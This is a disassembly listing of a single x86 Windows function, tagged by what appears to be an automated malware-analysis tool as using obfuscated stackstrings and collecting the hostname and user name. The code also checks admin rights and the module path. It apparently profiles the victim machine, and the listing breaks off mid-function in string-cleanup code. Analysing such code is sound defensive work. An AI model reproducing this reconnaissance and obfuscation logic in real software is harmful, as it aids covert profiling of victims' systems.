Function at 0x415010
Capabilities:
Contain obfuscated stackstrings
Get hostname
Get session user name

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff8
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x44ad6e
mov eax, dword fs:[0]
push eax
push ebx
sub esp, 0x7e0
mov eax, dword [0x462014]
xor eax, ebp
mov dword [ebp - 0x14], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
sub esp, 0x18
mov dword [ebp - 0x45c], 0
mov ecx, esp
call fcn.00406320
mov edx, 0xc
lea ecx, [ebp - 0x38c]
call fcn.00406690
mov esi, eax
add esp, 0x18
cmp esi, 0x462e04
je 0x4150fe
mov ecx, dword [0x462e18]
cmp ecx, 0x10
jb 0x4150bb
mov eax, dword [0x462e04]
inc ecx
cmp ecx, 0x1000
jb 0x4150b1
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x416c96
mov eax, edx
push ecx
push eax
call fcn.0041d6b3
add esp, 8
mov dword [0x462e14], 0
mov dword [0x462e18], 0xf
mov byte [0x462e04], 0
movups xmm0, xmmword [esi]
movups xmmword [0x462e04], xmm0
movq xmm0, qword [esi + 0x10]
movq qword [0x462e14], xmm0
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 0xf
mov byte [esi], 0
mov edx, dword [ebp - 0x378]
cmp edx, 0x10
jb 0x415138
mov ecx, dword [ebp - 0x38c]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x41512e
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x416c96
push edx
push ecx
call fcn.0041d6b3
add esp, 8
call fcn.00407c80
mov edx, eax
lea ecx, [ebp - 0x38c]
call fcn.004045b0
mov dword [ebp - 4], 0
call fcn.004082d0
mov edx, eax
lea ecx, [ebp - 0x3d4]
call fcn.004045b0
mov byte [ebp - 4], 1
call dword [sym.imp.SHELL32.dll_IsUserAnAdmin]
neg eax
lea ecx, [ebp - 0x41c]
sbb eax, eax
neg eax
mov edx, eax
call fcn.004045b0
sub esp, 0x18
mov byte [ebp - 4], 2
mov dword [ebp - 0x454], esp
mov esi, esp
sub esp, 0x18
mov ecx, esp
push 0x462a74
call fcn.00417a50
mov ecx, esi
call fcn.00405960
mov esi, esp
mov byte [ebp - 4], 3
sub esp, 0x18
mov ecx, esp
push 0x4635e0
call fcn.00417a50
mov ecx, esi
call fcn.00405960
add esp, 0x18
mov byte [ebp - 4], 2
mov edx, connect
lea ecx, [ebp - 0x3bc]
call fcn.00405a90
add esp, 0x30
lea eax, [ebp - 0x33c]
mov byte [ebp - 4], 4
push eax
lea eax, [ebp - 0x120]
mov dword [ebp - 0x33c], 0x104
push eax
call dword [sym.imp.ADVAPI32.dll_GetUserNameA]
lea ecx, [ebp - 0x120]
mov dword [ebp - 0x394], 0
mov dword [ebp - 0x390], 0xf
lea edx, [ecx + 1]
mov byte [ebp - 0x3a4], 0
mov al, byte [ecx]
inc ecx
test al, al
jne 0x415221
sub ecx, edx
lea eax, [ebp - 0x120]
push ecx
push eax
lea ecx, [ebp - 0x3a4]
call fcn.00418110
lea eax, [ebp - 0x344]
mov byte [ebp - 4], 5
push eax
lea eax, [ebp - 0x320]
mov dword [ebp - 0x344], 0x100
push eax
push 2
call dword [sym.imp.KERNEL32.dll_GetComputerNameExW]
xor eax, eax
mov dword [ebp - 0x328], 0
lea ecx, [ebp - 0x320]
mov dword [ebp - 0x324], 7
mov word [ebp - 0x338], ax
lea edx, [ecx + 2]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x415287
sub ecx, edx
lea eax, [ebp - 0x320]
sar ecx, 1
push ecx
push eax
lea ecx, [ebp - 0x338]
call fcn.00417e30
mov byte [ebp - 4], 6
lea edx, [ebp - 0x338]
cmp dword [ebp - 0x324], 8
lea edi, [ebp - 0x338]
mov eax, dword [ebp - 0x328]
lea ecx, [ebp - 0x35c]
cmovae edx, dword [ebp - 0x338]
cmovae edi, dword [ebp - 0x338]
mov dword [ebp - 0x34c], 0
mov dword [ebp - 0x348], 0xf
lea eax, [edx + eax*2]
mov byte [ebp - 0x35c], 0
mov dword [ebp - 0x33c], eax
sub eax, edi
sar eax, 1
push eax
call fcn.004177b0
lea eax, [ebp - 0x35c]
mov dword [ebp - 0x454], eax
mov byte [ebp - 4], 7
cmp edi, dword [ebp - 0x33c]
je 0x415385
mov dl, byte [edi]
mov ecx, dword [ebp - 0x34c]
mov esi, dword [ebp - 0x348]
mov byte [ebp - 0x340], dl
cmp ecx, esi
jae 0x41535b
lea eax, [ecx + 1]
cmp esi, 0x10
mov dword [ebp - 0x34c], eax
lea eax, [ebp - 0x35c]
cmovae eax, dword [ebp - 0x35c]
mov byte [eax + ecx], dl
mov byte [eax + ecx + 1], 0
jmp 0x41537a
push dword [ebp - 0x340]
mov byte [ebp - 0x45c], 0
push dword [ebp - 0x45c]
push ecx
lea ecx, [ebp - 0x35c]
call fcn.00418cf0
add edi, 2
cmp edi, dword [ebp - 0x33c]
jne 0x415320
mov byte [ebp - 4], 5
mov edx, dword [ebp - 0x324]
cmp edx, 8
jb 0x4153c9
mov ecx, dword [ebp - 0x338]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x4153bf
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x416c9b
push edx
push ecx
call fcn.0041d6b3
add esp, 8
xor eax, eax
mov dword [ebp - 0x328], 0
mov dword [ebp - 0x324], 7
mov word [ebp - 0x338], ax
lea ecx, [ebp - 0x404]
mov byte [ebp - 4], 8
call fcn.00409950
push 0x104
lea eax, [ebp - 0x120]
mov byte [ebp - 4], 9
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea ecx, [ebp - 0x120]
mov dword [ebp - 0x328], 0
mov dword [ebp - 0x324], 0xf
lea edx, [ecx + 1]
mov byte [ebp - 0x338], 0
mov al, byte [ecx]
inc ecx
test al, al
jne 0x415431
sub ecx, edx
lea eax, [ebp - 0x120]
push ecx
push eax
lea ecx, [ebp - 0x338]
call fcn.00418110
cmp dword [ebp - 0x324], 0x10
lea ecx, [ebp - 0x450]
lea eax, [ebp - 0x338]
cmovae eax, dword [ebp - 0x338]
push ecx
push eax
call fcn.004375d2
mov edx, dword [ebp - 0x324]
or esi, 0xffffffff
add esp, 8
test eax, eax
cmove esi, dword [ebp - 0x43c]
cmp edx, 0x10
jb 0x4154b7
mov ecx, dword [ebp - 0x338]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x4154ad
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x416ca0
push edx
push ecx
call fcn.0041d6b3
add esp, 8
lea eax, [esi - 0x61a81]
mov dword [ebp - 0x328], 0
mov ecx, 0xea5e
mov dword [ebp - 0x324], 0xf
cmp ecx, eax
mov byte [ebp - 0x338], 0
lea ecx, [ebp - 0x3ec]
sbb edx, edx
inc edx
call fcn.004045b0
lea eax, [ebp - 0x3ec]
mov byte [ebp - 4], 0xa
push eax
sub esp, 0x18
mov ecx, esp
push 0x4632e4
call fcn.00417a50
lea ecx, [ebp - 0x6fc]
call fcn.00405960
add esp, 0x18
push eax
xor edx, edx
mov byte [ebp - 4], 0xb
lea ecx, [ebp - 0x6e4]
call fcn.004045b0
push eax
sub esp, 0x18
mov byte [ebp - 4], 0xc
mov ecx, esp
push 0x4635f8
call fcn.00417a50
lea ecx, [ebp - 0x6cc]
call fcn.00405960
add esp, 0x18
push eax
lea eax, [ebp - 0x404]
mov byte [ebp - 4], 0xd
push eax
sub esp, 0x18
mov ecx, esp
push 0x463164
call fcn.00417a50
lea ecx, [ebp - 0x6b4]
call fcn.00405960
add esp, 0x18
push eax
lea eax, [ebp - 0x35c]
mov byte [ebp - 4], 0xe
push eax
sub esp, 0x18
mov ecx, esp
push 0x463520
call fcn.00417a50
lea ecx, [ebp - 0x7ec]
call fcn.00405960
add esp, 0x18
push eax
lea eax, [ebp - 0x3a4]
mov byte [ebp - 4], 0xf
push eax
sub esp, 0x18
mov ecx, esp
push 0x462fe4
call fcn.00417a50
lea ecx, [ebp - 0x684]
call fcn.00405960
add esp, 0x18
push eax
lea eax, [ebp - 0x3bc]
mov byte [ebp - 4], 0x10
push eax
sub esp, 0x18
mov ecx, esp
push 0x4630bc
call fcn.00417a50
lea ecx, [ebp - 0x66c]
call fcn.00405960
add esp, 0x18
push eax
lea eax, [ebp - 0x41c]
mov byte [ebp - 4], 0x11
push eax
sub esp, 0x18
mov ecx, esp
push 0x462f54
call fcn.00417a50
lea ecx, [ebp - 0x654]
call fcn.00405960
add esp, 0x18
push eax
lea eax, [ebp - 0x3d4]
mov byte [ebp - 4], 0x12
push eax
sub esp, 0x18
mov ecx, esp
push 0x46335c
call fcn.00417a50
lea ecx, [ebp - 0x63c]
call fcn.00405960
add esp, 0x18
push eax
lea eax, [ebp - 0x38c]
mov byte [ebp - 4], 0x13
push eax
sub esp, 0x18
mov ecx, esp
push 0x462a14
call fcn.00417a50
lea ecx, [ebp - 0x624]
call fcn.00405960
add esp, 0x18
push eax
push 0x4632fc
sub esp, 0x18
mov byte [ebp - 4], 0x14
mov ecx, esp
push 0x463194
call fcn.00417a50
lea ecx, [ebp - 0x60c]
call fcn.00405960
add esp, 0x18
push eax
sub esp, 0x18
mov byte [ebp - 4], 0x15
mov ecx, esp
push 0x462bf4
call fcn.00417a50
lea ecx, [ebp - 0x5f4]
call fcn.00405960
add esp, 0x18
push eax
sub esp, 0x18
mov byte [ebp - 4], 0x16
mov ecx, esp
push 0x463104
call fcn.00417a50
lea ecx, [ebp - 0x5dc]
call fcn.00405960
add esp, 0x18
push eax
push 0x462e04
sub esp, 0x18
mov byte [ebp - 4], 0x17
mov ecx, esp
push 0x46302c
call fcn.00417a50
lea ecx, [ebp - 0x5c4]
call fcn.00405960
add esp, 0x18
mov edx, eax
mov byte [ebp - 4], 0x18
lea ecx, [ebp - 0x5ac]
call fcn.00418370
add esp, 4
mov edx, eax
mov byte [ebp - 4], 0x19
lea ecx, [ebp - 0x78c]
call fcn.00418270
add esp, 4
mov edx, eax
mov byte [ebp - 4], 0x1a
lea ecx, [ebp - 0x774]
call fcn.00418270
add esp, 4
mov edx, eax
mov byte [ebp - 4], 0x1b
lea ecx, [ebp - 0x75c]
call fcn.00418270
add esp, 4
mov edx, eax
mov byte [ebp - 4], 0x1c
lea ecx, [ebp - 0x744]
call fcn.00418370
add esp, 4
mov edx, eax
mov byte [ebp - 4], 0x1d
lea ecx, [ebp - 0x69c]
call fcn.00418270
add esp, 4
mov edx, eax
mov byte [ebp - 4], 0x1e
lea ecx, [ebp - 0x7a4]
call fcn.00418370
add esp, 4
mov edx, eax
mov byte [ebp - 4], 0x1f
lea ecx, [ebp - 0x7d4]
call fcn.00418270
add esp, 4
mov edx, eax
mov byte [ebp - 4], 0x20
lea ecx, [ebp - 0x594]
call fcn.00418370
add esp, 4
mov edx, eax
mov byte [ebp - 4], 0x21
lea ecx, [ebp - 0x57c]
call fcn.00418270
add esp, 4
mov edx, eax
mov byte [ebp - 4], 0x22
lea ecx, [ebp - 0x564]
call fcn.00418370
add esp, 4
mov edx, eax
mov byte [ebp - 4], 0x23
lea ecx, [ebp - 0x54c]
call fcn.00418270
add esp, 4
mov edx, eax
mov byte [ebp - 4], 0x24
lea ecx, [ebp - 0x534]
call fcn.00418370
add esp, 4
mov byte [ebp - 4], 0x25
mov edx, eax
lea ecx, [ebp - 0x51c]
call fcn.00418270
add esp, 4
mov edx, eax
mov byte [ebp - 4], 0x26
lea ecx, [ebp - 0x504]
call fcn.00418370
add esp, 4
mov edx, eax
mov byte [ebp - 4], 0x27
lea ecx, [ebp - 0x4ec]
call fcn.00418270
add esp, 4
mov edx, eax
mov byte [ebp - 4], 0x28
lea ecx, [ebp - 0x4d4]
call fcn.00418370
add esp, 4
mov edx, eax
mov byte [ebp - 4], 0x29
lea ecx, [ebp - 0x4bc]
call fcn.00418270
add esp, 4
mov edx, eax
mov byte [ebp - 4], 0x2a
lea ecx, [ebp - 0x4a4]
call fcn.00418370
add esp, 4
mov edx, eax
mov byte [ebp - 4], 0x2b
lea ecx, [ebp - 0x48c]
call fcn.00418270
add esp, 4
mov edx, eax
mov byte [ebp - 4], 0x2c
lea ecx, [ebp - 0x7bc]
call fcn.00418270
add esp, 4
mov edx, eax
mov byte [ebp - 4], 0x2d
lea ecx, [ebp - 0x72c]
call fcn.00418270
add esp, 4
mov edx, eax
mov byte [ebp - 4], 0x2e
lea ecx, [ebp - 0x374]
call fcn.00418370
add esp, 4
mov byte [ebp - 4], 0x30
mov edx, dword [ebp - 0x718]
cmp edx, 0x10
jb 0x415904
mov ecx, dword [ebp - 0x72c]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x4158fa
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x416ca5
push edx
push ecx
call fcn.0041d6b3
add esp, 8
mov dword [ebp - 0x71c], 0
mov dword [ebp - 0x718], 0xf
mov byte [ebp - 0x72c], 0
mov byte [ebp - 4], 0x31
mov edx, dword [ebp - 0x7a8]
cmp edx, 0x10
jb 0x41595d
mov ecx, dword [ebp - 0x7bc]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x415953
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x416ca5
push edx
push ecx
call fcn.0041d6b3
add esp, 8
mov dword [ebp - 0x7ac], 0
mov dword [ebp - 0x7a8], 0xf
mov byte [ebp - 0x7bc], 0
mov byte [ebp - 4], 0x32
mov edx, dword [ebp - 0x478]
cmp edx, 0x10
jb 0x4159b6
mov ecx, dword [ebp - 0x48c]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x4159ac
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x416ca5
push edx
push ecx
call fcn.0041d6b3
add esp, 8
mov dword [ebp - 0x47c], 0
mov dword [ebp - 0x478], 0xf
mov byte [ebp - 0x48c], 0
mov byte [ebp - 4], 0x33
mov edx, dword [ebp - 0x490]
cmp edx, 0x10
jb 0x415a0f
mov ecx, dword [ebp - 0x4a4]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x415a05
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x416ca5
push edx
push ecx
call fcn.0041d6b3
add esp, 8
mov dword [ebp - 0x494], 0
mov dword [ebp - 0x490], 0xf
mov byte [ebp - 0x4a4], 0
mov byte [ebp - 4], 0x34
mov edx, dword [ebp - 0x4a8]
cmp edx, 0x10
jb 0x415a68
mov ecx, dword [ebp - 0x4bc]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x415a5e
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x416ca5
push edx
push ecx
call fcn.0041d6b3
add esp, 8
mov dword [ebp - 0x4ac], 0
mov dword [ebp - 0x4a8], 0xf
mov byte [ebp - 0x4bc], 0
mov byte [ebp - 4], 0x35
mov edx, dword [ebp - 0x4c0]
cmp edx, 0x10
jb 0x415ac1
mov ecx, dword [ebp - 0x4d4]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x415ab7
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x416ca5
push edx
push ecx
call fcn.0041d6b3
add esp, 8
mov dword [ebp - 0x4c4], 0
mov dword [ebp - 0x4c0], 0xf
mov byte [ebp - 0x4d4], 0
mov byte [ebp - 4], 0x36
mov edx, dword [ebp - 0x4d8]
cmp edx, 0x10
jb 0x415b1a
mov ecx, dword [ebp - 0x4ec]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x415b10
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x416ca5
push edx
push ecx
call fcn.0041d6b3
add esp, 8
mov dword [ebp - 0x4dc], 0
mov dword [ebp - 0x4d8], 0xf
mov byte [ebp - 0x4ec], 0
mov byte [ebp - 4], 0x37
mov edx, dword [ebp - 0x4f0]
cmp edx, 0x10
jb 0x415b73
mov ecx, dword [ebp - 0x504]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x415b69
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x416ca5
push edx
push ecx
call fcn.0041d6b3
add esp, 8
mov dword [ebp - 0x4f4], 0
mov dword [ebp - 0x4f0], 0xf
mov byte [ebp - 0x504], 0
mov byte [ebp - 4], 0x38
mov edx, dword [ebp - 0x508]
cmp edx, 0x10
jb 0x415bcc
mov ecx, dword [ebp - 0x51c]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x415bc2
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x416ca5
push edx
push ecx
call fcn.0041d6b3
add esp, 8
mov dword [ebp - 0x50c], 0
mov dword [ebp - 0x508], 0xf
mov byte [ebp - 0x51c], 0
mov byte [ebp - 4], 0x39
mov edx, dword [ebp - 0x520]
cmp edx, 0x10
jb 0x415c25
mov ecx, dword [ebp - 0x534]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x415c1b
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x416ca5
push edx
push ecx
call fcn.0041d6b3
add esp, 8
mov dword [ebp - 0x524], 0
mov dword [ebp - 0x520], 0xf
mov byte [ebp - 0x534], 0
mov byte [ebp - 4], 0x3a
mov edx, dword [ebp - 0x538]
cmp edx, 0x10
jb 0x415c7e
mov ecx, dword [ebp - 0x54c]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x415c74
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x416ca5
push edx
push ecx
call fcn.0041d6b3
add esp, 8
mov dword [ebp - 0x53c], 0
mov dword [ebp - 0x538], 0xf
mov byte [ebp - 0x54c], 0
mov byte [ebp - 4], 0x3b
mov edx, dword [ebp - 0x550]
cmp edx, 0x10
jb 0x415cd7
mov ecx, dword [ebp - 0x564]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x415ccd
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x416ca5
push edx
push ecx
call fcn.0041d6b3
add esp, 8
mov dword [ebp - 0x554], 0
mov dword [ebp - 0x550], 0xf
mov byte [ebp - 0x564], 0
mov byte [ebp - 4], 0x3c
mov edx, dword [ebp - 0x568]
cmp edx, 0x10
jb 0x415d30
mov ecx, dword [ebp - 0x57c]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x415d26
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x416ca5
push edx
push ecx
call fcn.0041d6b3
add esp, 8
mov dword [ebp - 0x56c], 0
mov dword [ebp - 0x568], 0xf
mov byte [ebp - 0x57c], 0
mov byte [ebp - 4], 0x3d
mov edx, dword [ebp - 0x580]
cmp edx, 0x10
jb 0x415d89
mov ecx, dword [ebp - 0x594]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x415d7f
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x416ca5
push edx
push ecx
call fcn.0041d6b3
add esp, 8
mov dword [ebp - 0x584], 0
mov dword [ebp - 0x580], 0xf
mov byte [ebp - 0x594], 0
mov byte [ebp - 4], 0x3e
mov edx, dword [ebp - 0x7c0]
cmp edx, 0x10
jb 0x415de2
mov ecx, dword [ebp - 0x7d4]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x415dd8
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x416ca5
push edx
push ecx
call fcn.0041d6b3
add esp, 8
mov dword [ebp - 0x7c4], 0
mov dword [ebp - 0x7c0], 0xf
mov byte [ebp - 0x7d4], 0
mov byte [ebp - 4], 0x3f
mov edx, dword [ebp - 0x790]
cmp edx, 0x10
jb 0x415e3b
mov ecx, dword [ebp - 0x7a4]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x415e31
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x416ca5
push edx
push ecx
call fcn.0041d6b3
add esp, 8
mov dword [ebp - 0x794], 0
mov dword [ebp - 0x790], 0xf
mov byte [ebp - 0x7a4], 0
mov byte [ebp - 4], 0x40
mov edx, dword [ebp - 0x688]
cmp edx, 0x10
jb 0x415e94
mov ecx, dword [ebp - 0x69c]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x415e8a
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x416ca5
push edx
push ecx
call fcn.0041d6b3
add esp, 8
mov dword [ebp - 0x68c], 0
mov dword [ebp - 0x688], 0xf
mov byte [ebp - 0x69c], 0
mov byte [ebp - 4], 0x41
mov edx, dword [ebp - 0x730]
cmp edx, 0x10
jb 0x415eed
mov ecx, dword [ebp - 0x744]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x415ee3
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x416ca5
push edx
push ecx
call fcn.0041d6b3
add esp, 8
mov dword [ebp - 0x734], 0
mov dword [ebp - 0x730], 0xf
mov byte [ebp - 0x744], 0
mov byte [ebp - 4], 0x42
mov edx, dword [ebp - 0x748]
cmp edx, 0x10
jb 0x415f46
mov ecx, dword [ebp - 0x75c]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x415f3c
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x416ca5
push edx
push ecx
call fcn.0041d6b3
add esp, 8
mov dword [ebp - 0x74c], 0
mov dword [ebp - 0x748], 0xf
mov byte [ebp - 0x75c], 0
mov byte [ebp - 4], 0x43
mov edx, dword [ebp - 0x760]
cmp edx, 0x10
jb 0x415f9f
mov ecx, dword [ebp - 0x774]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x415f95
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x416ca5
push edx
push ecx
call fcn.0041d6b3
add esp, 8
mov dword [ebp - 0x764], 0
mov dword [ebp - 0x760], 0xf
mov byte [ebp - 0x774], 0
mov byte [ebp - 4], 0x44
mov edx, dword [ebp - 0x778]
cmp edx, 0x10
jb 0x415ff8
mov ecx, dword [ebp - 0x78c]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x415fee
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x416ca5
push edx
push ecx
call fcn.0041d6b3
add esp, 8
mov dword [ebp - 0x77c], 0
mov dword [ebp - 0x778], 0xf
mov byte [ebp - 0x78c], 0
mov byte [ebp - 4], 0x45
mov edx, dword [ebp - 0x598]
cmp edx, 0x10
jb 0x416051
mov ecx, dword [ebp - 0x5ac]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x416047
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x416ca5
push edx
push ecx
call fcn.0041d6b3
add esp, 8
mov dword [ebp - 0x59c], 0
mov dword [ebp - 0x598], 0xf
mov byte [ebp - 0x5ac], 0
mov byte [ebp - 4], 0x46
mov edx, dword [ebp - 0x5b0]
cmp edx, 0x10
jb 0x4160aa
mov ecx, dword [ebp - 0x5c4]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x4160a0
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x416ca5
push edx
push ecx
call fcn.0041d6b3
add esp, 8
mov dword [ebp - 0x5b4], 0
mov dword [ebp - 0x5b0], 0xf
mov byte [ebp - 0x5c4], 0
mov byte [ebp - 4], 0x47
mov edx, dword [ebp - 0x5c8]
cmp edx, 0x10
jb 0x416103
mov ecx, dword [ebp - 0x5dc]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x4160f9
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x416ca5
push edx
push ecx
call fcn.0041d6b3
add esp, 8
mov dword [ebp - 0x5cc], 0
mov dword [ebp - 0x5c8], 0xf
mov byte [ebp - 0x5dc], 0
mov byte [ebp - 4], 0x48
mov edx, dword [ebp - 0x5e0]
cmp edx, 0x10
jb 0x41615c
mov ecx, dword [ebp - 0x5f4]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x416152
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x416ca5
push edx
push ecx
call fcn.0041d6b3
add esp, 8
mov dword [ebp - 0x5e4], 0
mov dword [ebp - 0x5e0], 0xf
mov byte [ebp - 0x5f4], 0
mov byte [ebp - 4], 0x49
mov edx, dword [ebp - 0x5f8]
cmp edx, 0x10
jb 0x4161b5
mov ecx, dword [ebp - 0x60c]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x4161ab
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x416ca5
push edx
push ecx
call fcn.0041d6b3
add esp, 8
mov dword [ebp - 0x5fc], 0
mov dword [ebp - 0x5f8], 0xf
mov byte [ebp - 0x60c], 0
mov byte [ebp - 4], 0x4a
mov edx, dword [ebp - 0x610]
cmp edx, 0x10
jb 0x41620e
mov ecx, dword [ebp - 0x624]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x416204
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x416ca5
push edx
push ecx
call fcn.0041d6b3
add esp, 8
mov dword [ebp - 0x614], 0
mov dword [ebp - 0x610], 0xf
mov byte [ebp - 0x624], 0
mov byte [ebp - 4], 0x4b
mov edx, dword [ebp - 0x628]
cmp edx, 0x10
jb 0x416267
mov ecx, dword [ebp - 0x63c]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x41625d
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x416ca5
push edx
push ecx
call fcn.0041d6b3
add esp, 8
mov dword [ebp - 0x62c], 0
mov dword [ebp - 0x628], 0xf
mov byte [ebp - 0x63c], 0
mov byte [ebp - 4], 0x4c
mov edx, dword [ebp - 0x640]
cmp edx, 0x10
jb 0x4162c0
mov ecx, dword [ebp - 0x654]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x4162b6
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x416ca5
push edx
push ecx
call fcn.0041d6b3
add esp, 8
mov dword [ebp - 0x644], 0
mov dword [ebp - 0x640], 0xf
mov byte [ebp - 0x654], 0
mov byte [ebp - 4], 0x4d
mov edx, dword [ebp - 0x658]
cmp edx, 0x10
jb 0x416319
mov ecx, dword [ebp - 0x66c]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x41630f
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x416ca5
push edx
push ecx
call fcn.0041d6b3
add esp, 8
mov dword [ebp - 0x65c], 0
mov dword [ebp - 0x658], 0xf
mov byte [ebp - 0x66c], 0
mov byte [ebp - 4], 0x4e
mov edx, dword [ebp - 0x670]
cmp edx, 0x10
jb 0x416372
mov ecx, dword [ebp - 0x684]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x416368
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x416ca5
push edx
push ecx
call fcn.0041d6b3
add esp, 8
mov dword [ebp - 0x674], 0
mov dword [ebp - 0x670], 0xf
mov byte [ebp - 0x684], 0
mov byte [ebp - 4], 0x4f
mov edx, dword [ebp - 0x7d8]
cmp edx, 0x10
jb 0x4163cb
mov ecx, dword [ebp - 0x7ec]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x4163c1
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x416ca5
push edx
push ecx
call fcn.0041d6b3
add esp, 8
mov dword [ebp - 0x7dc], 0
mov dword [ebp - 0x7d8], 0xf
